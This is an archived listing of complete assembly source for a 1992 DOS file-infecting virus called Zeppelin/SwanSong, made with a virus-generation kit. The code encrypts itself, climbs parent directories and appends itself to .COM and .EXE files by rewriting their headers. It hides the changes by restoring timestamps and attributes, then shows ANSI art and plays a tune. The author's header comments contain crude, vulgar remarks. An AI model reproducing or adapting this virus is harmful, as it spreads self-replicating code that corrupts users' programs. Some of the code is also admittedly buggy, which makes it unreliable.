home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 1717.ASM < prev    next >
Assembly Source File  |  1992-09-18  |  24KB  |  665 lines

  1. ;**************************************************************************
  2. ;
  3. ;The Zeppelin Virus  September 25, 1992
  4. ;[MPC] Generated...
  5. ;Created by... pAgE
  6. ;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
  7. ;Incidently. He died on this date in 1980! Got drunk and strangled on a
  8. ;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
  9. ;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
  10. ;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
  11. ;ThAt yA'll uSe, ArE a KicK....
  12. ;
  13. ;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
  14. ;                          GeT'S in ThE bl00d DoEsn't it?------->^^^^^
  15. ;
  16. ;Here it is...
  17. ;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
  18. ;I'll keep workin' on it and see what I can do. In the mean time, have fun!
  19. ;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
  20. ;
  21. ;But...If that's not good enough, well then - hEy! - BLoW mE!
  22. ;
  23. ;***************************************************************************
  24.  
  25. .model tiny                             ; Handy directive
  26. .code                                   ; Virus code segment
  27.           org    100h                   ; COM file starting IP
  28.  
  29. id = 'IS'                               ; ID word for EXE infections
  30. entry_point: db 0e9h,0,0                ; jmp decrypt
  31.  
  32. decrypt:                                ; handles encryption and decryption
  33. patch_startencrypt:
  34.           mov  di,offset startencrypt   ; start of decryption
  35.           mov  si,(offset heap - offset startencrypt)/2 ; iterations
  36. decrypt_loop:
  37.           db   2eh,81h,35h              ; xor word ptr cs:[di], xxxx
  38. decrypt_value dw 0                      ; initialised at zero for null effect
  39.           inc  di                       ; calculate new decryption location
  40.           inc  di
  41.           dec  si                       ; If we are not done, then
  42.           jnz  decrypt_loop             ; decrypt mo'
  43. startencrypt:
  44.           call next                     ; calculate delta offset
  45. next:
  46.           pop  bp                       ; bp = IP next
  47.           sub  bp,offset next           ; bp = delta offset
  48.  
  49.  
  50.           cmp  sp,id                    ; COM or EXE?
  51.           je   restoreEXE
  52. restoreCOM:
  53.           lea  si,[bp+save3]
  54.           mov  di,100h
  55.           push di                       ; For later return
  56.           movsb
  57.           jmp  short restoreEXIT
  58. restoreEXE:
  59.           push ds
  60.           push es
  61.           push cs                       ; DS = CS
  62.           pop  ds
  63.           push cs                       ; ES = CS
  64.           pop  es
  65.           lea  si,[bp+jmpsave2]
  66.           lea  di,[bp+jmpsave]
  67.           movsw
  68.           movsw
  69.           movsw
  70. restoreEXIT:
  71.           movsw
  72.  
  73.           mov  byte ptr [bp+numinfec],5 ; reset infection counter
  74.  
  75.           mov  ah,1Ah                   ; Set new DTA
  76.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  77.           int  21h
  78.  
  79.           mov  ah,47h                   ; Get current directory
  80.           mov  dl,0                     ; Current drive
  81.           lea  si,[bp+origdir]          ; DS:SI->buffer
  82.           int  21h
  83.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  84.  
  85.           mov  ax,3524h                 ; Get int 24 handler
  86.           int  21h                      ; to ES:BX
  87.           mov  word ptr [bp+oldint24],bx; Save it
  88.           mov  word ptr [bp+oldint24+2],es
  89.           mov  ah,25h                   ; Set new int 24 handler
  90.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  91.           int  21h
  92.           push cs                       ; Restore ES
  93.           pop  es                       ; 'cuz it was changed
  94.  
  95. dir_scan:                               ; "dot dot" traversal
  96.           lea  dx,[bp+exe_mask]
  97.           call infect_mask
  98.           lea  dx,[bp+com_mask]
  99.           call infect_mask
  100.           mov  ah,3bh                   ; change directory
  101.           lea  dx,[bp+dot_dot]          ; "cd .."
  102.           int  21h
  103.           jnc  dir_scan                 ; go back for mo!
  104.  
  105. done_infections:
  106.          ;mov  ah,2ah                   ; Get current date
  107.          ;int  21h
  108.          ;cmp  dh,9                     ; Check month
  109.          ;jb   act_two
  110.          ;cmp  dl,25                    ; Check date
  111.          ;jb   act_two
  112.          ;cmp  cx,1992                  ; Check year
  113.          ;jb   act_two
  114.          ;cmp  al,0                     ; Check date of week
  115.          ;jb   activate
  116.  
  117.          ;mov  ah,2ch                   ; Get current time
  118.          ;int  21h
  119.          ;cmp  dl,50                    ; Check the percentage
  120.           jbe  activate
  121.  
  122. exit_virus:
  123.           mov  ax,2524h                 ; Restore int 24 handler
  124.           lds  dx,[bp+offset oldint24]  ; to original
  125.           int  21h
  126.           push cs
  127.           pop  ds
  128.  
  129.           mov  ah,3bh                   ; change directory
  130.           lea  dx,[bp+origdir-1]        ; original directory
  131.           int  21h
  132.  
  133.           mov  ah,1ah                   ; restore DTA to default
  134.           mov  dx,80h                   ; DTA in PSP
  135.           cmp  sp,id-4                  ; EXE or COM?
  136.           jz   returnEXE
  137. returnCOM:
  138.           int  27h
  139.           retn                          ; 100h is on stack
  140. returnEXE:
  141.           pop  es
  142.           pop  ds
  143.           int  21h
  144.           mov  ax,es                    ; AX = PSP segment
  145.           add  ax,10h                   ; Adjust for PSP
  146.           add  word ptr cs:[bp+jmpsave+2],ax
  147.           add  ax,word ptr cs:[bp+stacksave+2]
  148.           cli                           ; Clear intrpts for stack manipulation
  149.           mov  sp,word ptr cs:[bp+stacksave]
  150.           mov  ss,ax
  151.           sti
  152.           db   0eah                     ; jmp ssss:oooo
  153. jmpsave             dd ?                ; Original CS:IP
  154. stacksave           dd ?                ; Original SS:SP
  155. jmpsave2            db ?                ; Actually four bytes
  156. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  157. exe_mask            db '*.exe',0
  158. com_mask            db '*.com',0
  159. stacksave2          dd ?
  160.  
  161. activate        proc    far
  162.  
  163. start:
  164.         jmp    short loc_1
  165.         db    90h
  166. data_2        db    0
  167. data_3        dw    216h
  168.         db    2
  169. data_4        dw    0
  170.                 db      'Ripped this Motherfucker off'
  171.         db    1Ah
  172. data_5          db      'SHIT!!! Wont work....', 0Dh, 0Ah
  173.         db    '$'
  174. loc_1:
  175.  
  176.                 mov     ax,0003h           ; stick 3 into ax.
  177.                 int     10h                ; Set up 80*25, text mode.  Clear the screen, too.
  178.                 mov     ah,0Fh
  179.         int    10h            ; Video display   ah=functn 0Fh
  180.                         ;  get state, al=mode, bh=page
  181.                         ;   ah=columns on screen
  182.         mov    bx,0B800h
  183.         cmp    al,2
  184.         je    loc_2            ; Jump if equal
  185.         cmp    al,3
  186.         je    loc_2            ; Jump if equal
  187.         mov    data_2,0
  188.         mov    bx,0B000h
  189.         cmp    al,7
  190.         je    loc_2            ; Jump if equal
  191.         mov    dx,offset data_5    ; ('Unsupported Video Mode')
  192.         mov    ah,9
  193.         int    21h            ; DOS Services  ah=function 09h
  194.                         ;  display char string at ds:dx
  195.         retn
  196. loc_2:
  197.         mov    es,bx
  198.         mov    di,data_4
  199.         mov    si,offset data_6
  200.         mov    dx,3DAh
  201.         mov    bl,9
  202.         mov    cx,data_3
  203.         cld                ; Clear direction
  204.         xor    ax,ax            ; Zero register
  205.  
  206. locloop_4:
  207.         lodsb                ; String [si] to al
  208.         cmp    al,1Bh
  209.         jne    loc_5            ; Jump if not equal
  210.         xor    ah,80h
  211.         jmp    short loc_20
  212. loc_5:
  213.         cmp    al,10h
  214.         jae    loc_8            ; Jump if above or =
  215.         and    ah,0F0h
  216.         or    ah,al
  217.         jmp    short loc_20
  218. loc_8:
  219.         cmp    al,18h
  220.         je    loc_11            ; Jump if equal
  221.         jnc    loc_12            ; Jump if carry=0
  222.         sub    al,10h
  223.         add    al,al
  224.         add    al,al
  225.         add    al,al
  226.         add    al,al
  227.         and    ah,8Fh
  228.         or    ah,al
  229.         jmp    short loc_20
  230. loc_11:
  231.         mov    di,data_4
  232.         add    di,data_1e
  233.         mov    data_4,di
  234.         jmp    short loc_20
  235. loc_12:
  236.         mov    bp,cx
  237.         mov    cx,1
  238.         cmp    al,19h
  239.         jne    loc_13            ; Jump if not equal
  240.         lodsb                ; String [si] to al
  241.         mov    cl,al
  242.         mov    al,20h            ; ' '
  243.         dec    bp
  244.         jmp    short loc_14
  245. loc_13:
  246.         cmp    al,1Ah
  247.         jne    loc_15            ; Jump if not equal
  248.         lodsb                ; String [si] to al
  249.         dec    bp
  250.         mov    cl,al
  251.         lodsb                ; String [si] to al
  252.         dec    bp
  253. loc_14:
  254.         inc    cx
  255. loc_15:
  256.         cmp    data_2,0
  257.         je    loc_18            ; Jump if equal
  258.         mov    bh,al
  259.  
  260. locloop_16:
  261.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  262.         rcr    al,1            ; Rotate thru carry
  263.         jc    locloop_16        ; Jump if carry Set
  264. loc_17:
  265.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  266.         and    al,bl
  267.         jnz    loc_17            ; Jump if not zero
  268.         mov    al,bh
  269.         stosw                ; Store ax to es:[di]
  270.         loop    locloop_16        ; Loop if cx > 0
  271.  
  272.         jmp    short loc_19
  273. loc_18:
  274.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  275. loc_19:
  276.         mov    cx,bp
  277. loc_20:
  278.                 jcxz    loc_new_25              ; Jump if cx=0
  279.         loop    locloop_4        ; Loop if cx > 0
  280. loc_new_25:
  281.  
  282.  
  283.                 mov     si,offset data00        ; SI points to data
  284. get_note:       mov     bx,[si]                 ; Load BX with the frequency
  285.                 or      bx,bx                   ; Is BX equal to zero?
  286.                 je      play_tune_done          ; If it is we are finished
  287.  
  288.                 mov     ax,034DDh               ;
  289.                 mov     dx,0012h                ;
  290.                 cmp     dx,bx                   ;
  291.                 jnb     new_note                ;
  292.                 div     bx                      ; This bit here was stolen
  293.                 mov     bx,ax                   ; from the Turbo C++ v1.0
  294.                 in      al,061h                 ; library file CS.LIB.  I
  295.                 test    al,3                    ; extracted sound() from the
  296.                 jne     skip_an_or              ; library and linked it to
  297.                 or      al,3                    ; an .EXE file, then diassembled
  298.                 out     061h,al                 ; it.  Basically this turns
  299.                 mov     al,0B6h                 ; on the speaker at a certain
  300.                 out     043h,al                 ; frequency.
  301. skip_an_or:     mov     al,bl                   ;
  302.                 out     042h,al                 ;
  303.                 mov     al,bh                   ;
  304.                 out     042h,al                 ;
  305.  
  306.                 mov     bx,[si + 2]             ; BX holds duration value
  307.                 xor     ah,ah                   ; BIOS get time function
  308.                 int     1Ah
  309.                 add     bx,dx                   ; Add the time to the length
  310. wait_loop:      int     1Ah                     ; Get the time again (AH = 0)
  311.                 cmp     dx,bx                   ; Is the delay over?
  312.                 jne     wait_loop               ; Repeat until it is
  313.                 in      al,061h                 ; Stolen from the nosound()
  314.                 and     al,0FCh                 ; procedure in Turbo C++ v1.0.
  315.                 out     061h,al                 ; This turns off the speaker.
  316.  
  317. new_note:       add     si,4                    ; SI points to next note
  318.                 jmp     short get_note          ; Repeat with the next note
  319. play_tune_done:
  320. activate        endp
  321.  
  322.           jmp  exit_virus
  323.  
  324. creator             db '[pAgE]',0        ; YOU REALLY SHOULD TAKE THIS
  325. virusname           db '[SwanSong]',0    ; BULLSHIT OUT OF HERE!!!
  326. author              db 'pAgE',0      ; WHY NOT HOLD UP A SIGN!!!
  327.  
  328. infect_mask:
  329.           mov  ah,4eh                   ; find first file
  330.           mov  cx,7                     ; any attribute
  331. findfirstnext:
  332.           int  21h                      ; DS:DX points to mask
  333.           jc   exit_infect_mask         ; No mo files found
  334.  
  335.           mov  al,0h                    ; Open read only
  336.           call open
  337.  
  338.           mov  ah,3fh                   ; Read file to buffer
  339.           lea  dx,[bp+buffer]           ; @ DS:DX
  340.           mov  cx,20h                   ; 1Ah bytes
  341.           int  21h
  342.  
  343.           mov  ah,3eh                   ; Close file
  344.           int  21h
  345.  
  346.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  347.           jz   checkEXE                 ; Why yes, yes it is!
  348. checkCOM:
  349.           mov  ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
  350.           cmp  ax,(heap-decrypt)      ; Is it too small?
  351.           jb   find_next
  352.  
  353.           mov  bx,word ptr [bp+buffer+1] ;get jmp location
  354.           add  bx,(heap-decrypt+1)        ; Adjust for virus size
  355.           cmp  ax,bx
  356.           je   find_next                ; already infected
  357.           jmp  infect_com
  358. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  359.           jnz  infect_exe
  360. find_next:
  361.           mov  ah,4fh                   ; find next file
  362.           jmp  short findfirstnext
  363. exit_infect_mask: ret
  364.  
  365. infect_exe:
  366.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  367.           mov  word ptr [bp+jmpsave2], ax
  368.           mov  word ptr [bp+jmpsave2+2], es
  369.  
  370.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  371.           mov  word ptr [bp+stacksave2], es
  372.           mov  word ptr [bp+stacksave2+2], ax
  373.  
  374.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  375.           mov  cl, 4                    ; convert to bytes
  376.           shl  ax, cl
  377.           xchg ax, bx
  378.  
  379.           les  ax, [bp+offset newDTA+26]; Get file size
  380.           mov  dx, es                   ; to DX:AX
  381.           push ax
  382.           push dx
  383.  
  384.           sub  ax, bx                   ; Subtract header size from
  385.           sbb  dx, 0                    ; file size
  386.  
  387.           mov  cx, 10h                  ; Convert to segment:offset
  388.           div  cx                       ; form
  389.  
  390.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  391.           mov  word ptr [bp+buffer+16h], ax
  392.  
  393.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  394.           mov  word ptr [bp+buffer+10h], id
  395.  
  396.           pop  dx                       ; get file length
  397.           pop  ax
  398.  
  399.           add  ax,(heap-decrypt)         ; add virus size
  400.           adc  dx, 0
  401.  
  402.           mov  cl, 9
  403.           push ax
  404.           shr  ax, cl
  405.           ror  dx, cl
  406.           stc
  407.           adc  dx, ax
  408.           pop  ax
  409.           and  ah, 1                    ; mod 512
  410.  
  411.           mov  word ptr [bp+buffer+4], dx ; new file size
  412.           mov  word ptr [bp+buffer+2], ax
  413.  
  414.           push cs                       ; restore ES
  415.           pop  es
  416.  
  417.           push word ptr [bp+buffer+14h] ; needed later
  418.           mov  cx, 1ah
  419.           jmp  short finishinfection
  420. infect_com:                             ; ax = filesize
  421.           mov  cx,3
  422.           sub  ax,cx
  423.           lea  si,[bp+offset buffer]
  424.           lea  di,[bp+offset save3]
  425.           movsw
  426.           movsb
  427.           mov  byte ptr [si-3],0e9h
  428.           mov  word ptr [si-2],ax
  429.           add  ax,103h
  430.           push ax                       ; needed later
  431. finishinfection:
  432.           push cx                       ; Save # bytes to write
  433.           xor  cx,cx                    ; Clear attributes
  434.           call attributes               ; Set file attributes
  435.  
  436.           mov  al,2
  437.           call open
  438.  
  439.           mov  ah,40h                   ; Write to file
  440.           lea  dx,[bp+buffer]           ; Write from buffer
  441.           pop  cx                       ; cx bytes
  442.           int  21h
  443.  
  444.           mov  ax,4202h                 ; Move file pointer
  445.           xor  cx,cx                    ; to end of file
  446.           cwd                           ; xor dx,dx
  447.           int  21h
  448.  
  449. get_encrypt_value:
  450.           mov  ah,2ch                   ; Get current time
  451.           int  21h                      ; dh=sec,dl=1/100 sec
  452.           or  dx,dx                     ; Check if encryption value = 0
  453.           jz  get_encrypt_value         ; Get another if it is
  454.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  455.           lea  di,[bp+code_store]
  456.           mov  ax,5355h                 ; push bp,push bx
  457.           stosw
  458.           lea  si,[bp+decrypt]          ; Copy encryption function
  459.           mov  cx,startencrypt-decrypt  ; Bytes to move
  460.           push si                       ; Save for later use
  461.           push cx
  462.           rep  movsb
  463.  
  464.           lea    si,[bp+write]          ; Copy writing function
  465.           mov    cx,endwrite-write      ; Bytes to move
  466.           rep    movsb
  467.           pop    cx
  468.           pop    si
  469.           pop    dx                     ; Entry point of virus
  470.           push   di
  471.           push   si
  472.           push   cx
  473.           rep    movsb                  ; Copy decryption function
  474.           mov    ax,5b5dh               ; pop bx,pop bp
  475.           stosw
  476.           mov    al,0c3h                ; retn
  477.           stosb
  478.  
  479.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  480.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  481.           call   code_store             ; decryption
  482.           pop    cx
  483.           pop    di
  484.           pop    si
  485.           rep    movsb                  ; Restore decryption function
  486.  
  487.           mov  ax,5701h                 ; Restore creation date/time
  488.           mov  cx,word ptr [bp+newDTA+16h] ; time
  489.           mov  dx,word ptr [bp+newDTA+18h] ; date
  490.           int  21h
  491.  
  492.           mov  ah,3eh                   ; Close file
  493.           int  21h
  494.  
  495.           mov ch,0
  496.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  497.           call attributes               ; attributes
  498.  
  499.           dec  byte ptr [bp+numinfec]   ; One mo infection
  500.           jnz  mo_infections            ; Not enough
  501.           pop  ax                       ; remove call from stack
  502.           jmp  done_infections
  503. mo_infections: jmp find_next
  504.  
  505. open:
  506.           mov  ah,3dh
  507.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  508.           int  21h
  509.           xchg ax,bx
  510.           ret
  511.  
  512. attributes:
  513.           mov  ax,4301h                 ; Set attributes to cx
  514.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  515.           int  21h
  516.           ret
  517.  
  518. write:
  519.           pop  bx                       ; Restore file handle
  520.           pop  bp                       ; Restore relativeness
  521.           mov  ah,40h                   ; Write to file
  522.           lea  dx,[bp+decrypt]          ; Concatenate virus
  523.           mov  cx,(heap-decrypt)          ; # bytes to write
  524.           int  21h
  525.           push bx
  526.           push bp
  527. endwrite:
  528.  
  529. int24:                                  ; New int 24h (error) handler
  530.           mov  al,3                     ; Fail call
  531.           iret                          ; Return control
  532. data00    dw      2000,8,2500,8,2000,14,2500,14
  533.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  534.          dw      3500,12,4000,4,4500,10,5000,4
  535.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  536.          dw      2000,8,2500,8,2000,14,2500,14
  537.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  538.          dw      3500,12,4000,4,4500,10,5000,4
  539.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  540.          dw      2000,8,2500,8,2000,14,2500,14
  541.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  542.          dw      3500,12,4000,4,4500,10,5000,4
  543.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  544.           dw      0
  545.  
  546. data_6          db      9
  547.         db     10h, 19h, 45h, 18h, 19h, 1Bh
  548.         db     01h,0D5h,0CDh,0CDh,0B8h, 04h
  549.         db    0F3h, 09h,0A9h, 04h, 9Dh
  550.         db    9
  551.         db    0AAh, 04h,0F2h, 01h,0D5h,0CDh
  552.         db    0CDh,0B8h, 19h, 1Ch, 18h, 19h
  553.         db     12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
  554.         db     20h, 09h, 5Ch, 04h,0F6h, 09h
  555.         db     2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
  556.         db    0CDh,0B8h, 19h, 13h, 18h, 19h
  557.         db     03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
  558.         db     19h, 03h, 0Fh,0D2h,0B7h, 19h
  559.         db     04h,0D6h, 1Ah, 03h,0C4h,0B7h
  560.         db     20h,0D2h,0D2h,0C4h,0C4h,0C4h
  561.         db    0B7h, 19h, 04h, 01h,0D4h, 1Ah
  562.         db     0Eh,0CDh,0BBh, 19h, 03h, 18h
  563.         db     19h, 03h,0BAh, 19h, 12h, 07h
  564.         db    0BAh,0BAh, 19h, 04h,0BAh, 19h
  565.         db     03h,0BDh, 20h,0BAh,0BAh, 19h
  566.         db     02h,0D3h,0B7h, 19h, 13h, 01h
  567.         db    0BAh, 19h, 03h, 18h, 19h, 03h
  568.         db    0BAh, 19h, 07h, 0Bh, 1Ah, 02h
  569.         db     04h, 19h, 07h, 08h,0BAh,0B6h
  570.         db     19h, 04h,0C7h,0C4h,0B6h, 19h
  571.         db     03h,0BAh,0B6h, 19h, 03h,0BAh
  572.         db     19h, 07h, 0Bh, 1Ah, 02h, 04h
  573.         db     19h, 08h, 01h,0BAh, 19h, 03h
  574.         db     18h,0D6h,0C4h,0C4h, 20h,0BAh
  575.         db     19h, 12h, 08h,0BAh,0D3h, 19h
  576.         db     02h,0B7h, 20h,0BAh, 19h, 03h
  577.         db    0B7h, 20h,0BAh,0D3h, 19h, 02h
  578.         db    0D6h,0BDh, 19h, 13h, 01h,0BAh
  579.         db     20h,0C4h,0C4h,0B7h, 18h,0D3h
  580.         db    0C4h,0C4h,0C4h,0BDh, 19h, 12h
  581.         db     08h,0D3h, 1Ah, 03h,0C4h,0BDh
  582.         db     20h,0D3h, 1Ah, 03h,0C4h,0BDh
  583.         db     20h,0D0h, 1Ah, 03h,0C4h,0BDh
  584.         db     19h, 14h, 01h,0D3h,0C4h,0C4h
  585.         db    0C4h,0BDh, 18h, 04h, 1Ah, 04h
  586.         db     3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
  587.         db     04h,0C4h,0B7h, 20h,0D6h, 1Ah
  588.         db     03h,0C4h,0B7h, 20h,0D2h,0D2h
  589.         db    0C4h,0C4h,0C4h,0B7h, 20h,0D2h
  590.         db    0D2h,0C4h,0C4h,0C4h,0B7h, 20h
  591.         db    0D6h, 1Ah, 03h,0C4h,0B7h, 20h
  592.         db    0D2h,0B7h, 19h, 04h,0D2h, 20h
  593.         db     20h,0D2h,0D2h,0C4h,0C4h,0C4h
  594.         db    0B7h, 19h, 03h, 04h, 1Ah, 04h
  595.         db     3Ch, 18h, 01h,0D6h,0C4h,0C4h
  596.         db    0C4h,0B7h, 19h, 07h, 07h,0D6h
  597.         db    0C4h,0BDh
  598.         dd    319BA20h        ; Data table (indexed access)
  599.         db    0BDh, 20h,0BAh,0BDh, 19h, 02h
  600.         db    0BAh, 20h,0BAh,0BDh, 19h, 02h
  601.         db    0BAh, 20h,0BAh, 19h, 03h,0BDh
  602.         db     20h,0BAh,0BAh, 19h, 04h,0BAh
  603.         db     20h, 20h,0BAh,0BAh, 19h, 02h
  604.         db    0BAh, 19h, 03h, 01h,0D6h,0C4h
  605.         db    0C4h,0C4h,0B7h, 18h,0D3h,0C4h
  606.         db    0C4h, 20h,0BAh, 19h, 06h, 08h
  607.         db     58h, 19h, 03h,0C7h,0C4h,0B6h
  608.         db     19h, 03h,0BAh, 1Ah, 03h,0C4h
  609.         db    0BDh, 20h,0BAh, 1Ah, 03h,0C4h
  610.         db    0BDh, 20h,0C7h,0C4h,0B6h, 19h
  611.         db     03h,0BAh,0B6h, 19h, 04h,0BAh
  612.         db     20h, 20h,0BAh,0B6h, 19h, 02h
  613.         db    0BAh, 19h, 03h, 01h,0BAh, 20h
  614.         db    0C4h,0C4h,0BDh, 18h, 19h, 03h
  615.         db    0BAh, 19h, 03h, 08h,0D6h,0C4h
  616.         db    0BDh, 19h, 04h,0BAh, 19h, 03h
  617.         db    0B7h, 20h,0BAh, 19h, 05h,0BAh
  618.         db     19h, 05h,0BAh, 19h, 03h,0B7h
  619.         db     20h,0BAh,0D3h, 19h, 02h,0B7h
  620.         db     20h,0BAh, 20h, 20h,0BAh,0D3h
  621.         db     19h, 02h,0BAh, 19h, 03h, 01h
  622.         db    0BAh, 19h, 03h, 18h, 19h, 03h
  623.         db    0BAh, 19h, 03h, 08h,0D3h, 1Ah
  624.         db     04h,0C4h,0BDh, 20h,0D3h, 1Ah
  625.         db     03h,0C4h,0BDh, 20h,0BDh, 19h
  626.         db     05h,0BDh, 19h, 05h,0D3h, 1Ah
  627.         db     03h,0C4h,0BDh, 20h,0D3h, 1Ah
  628.         db     03h,0C4h,0BDh, 20h,0D0h, 20h
  629.         db     20h,0D0h, 19h, 03h,0D0h, 19h
  630.         db     03h, 01h,0BAh, 19h, 03h, 18h
  631.         db     19h, 03h,0C8h, 1Ah, 15h,0CDh
  632.         db    0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
  633.         db    0CDh,0BCh, 19h, 03h, 18h, 19h
  634.         db     1Ah,0D4h,0CDh, 04h, 1Ah, 03h
  635.         db    0F7h, 09h, 2Fh, 04h,0EAh, 09h
  636.         db     5Ch, 04h, 1Ah, 03h,0F7h, 01h
  637.         db    0CDh,0BEh, 19h, 1Bh, 18h
  638.  
  639. data_1e            equ     0A0h
  640. dot_dot            db '..',0
  641. heap:
  642. ; The following code is the buffer for the write function
  643. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  644. oldint24            dd ?                ; Storage for old int 24h handler      
  645. backslash           db ?
  646. origdir             db 64 dup (?)       ; Current directory buffer             
  647. newDTA              db 43 dup (?)       ; Temporary DTA                        
  648. numinfec            db ?                ; Infections this run                  
  649. buffer              db 1ah dup (?)      ; read buffer                          
  650. endheap:                                ; End of virus
  651. finish          label   near
  652. end       entry_point
  653.  
  654.  
  655.  
  656. ; Yeah, the main problem is reproducing the effect in an infected file so
  657. ; thta when IT runs, IT too will display... That's the GLITCH...
  658. ;
  659. ; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
  660. ; I don't remember, but it would go resident and suck up memory, yet
  661. ; since it hooked no interuppts, it just sat there...
  662. ; Feel free to STUDY this code and distribute it feely for educational
  663. ; purposes, because in spite of the kidding...I don't "hAcK"... for lack
  664. ; of a better word...--->>pAgE<<---
  665.